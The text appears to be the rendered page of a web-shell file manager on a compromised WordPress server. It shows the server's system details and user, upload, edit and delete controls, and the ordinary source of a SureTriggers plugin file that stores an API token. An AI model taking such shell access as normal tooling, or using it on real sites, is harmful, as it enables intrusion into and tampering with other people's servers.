[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
suretriggers
/
src
/
Models
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 SaasApiToken.php
2,203 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: SaasApiToken.php
<?php /** * Base Modal class. * php version 5.6 * * @category Model * @package SureTriggers * @author BSF <username@example.com> * @license https://www.gnu.org/licenses/gpl-3.0.html GPLv3 * @link https://www.brainstormforce.com/ * @since 1.0.0 */ namespace SureTriggers\Models; use SureTriggers\Support\Encryption; use SureTriggers\Controllers\OptionController; /** * The API token model. */ class SaasApiToken { /** * The option key. * * @var string */ protected $key = 'secret_key'; /** * Prevent php warnings. */ final public function __construct() {} /** * Save and encrypt the API token. * * @param string|null $value The API token. * @return void|null|string */ protected function save( $value ) { if ( null === $value || empty( $value ) ) { return OptionController::set_option( $this->key, $value ); } else { if ( strlen( $value ) > 80 ) { return $value; } return OptionController::set_option( $this->key, Encryption::encrypt( $value ) ); } } /** * Get and decrypt the API token * * @return mixed|string The decoded API token. */ protected function get() { $plain_token = OptionController::get_option( $this->key ); $token = Encryption::decrypt( $plain_token ); if ( ! $token ) { if ( is_string( $plain_token ) && ! empty( $plain_token ) ) { self::save( $plain_token ); $token = $plain_token; } else { $token = null; } } return $token; } /** * Forward call to method * * @param array|string $method Method to call. * @param array|mixed $params Method params. * * @return mixed Mixed value. */ public function __call( $method, $params ) { /** * * Ignore line * * @phpstan-ignore-next-line */ return call_user_func_array( [ $this, $method ], $params ); } /** * Static Facade Accessor * * @param array|string $method Method to call. * @param array|mixed $params Method params. * * @return mixed Mixed value. */ public static function __callStatic( $method, $params ) { /** * * Ignore line * * @phpstan-ignore-next-line */ return call_user_func_array( [ new static(), $method ], $params ); } }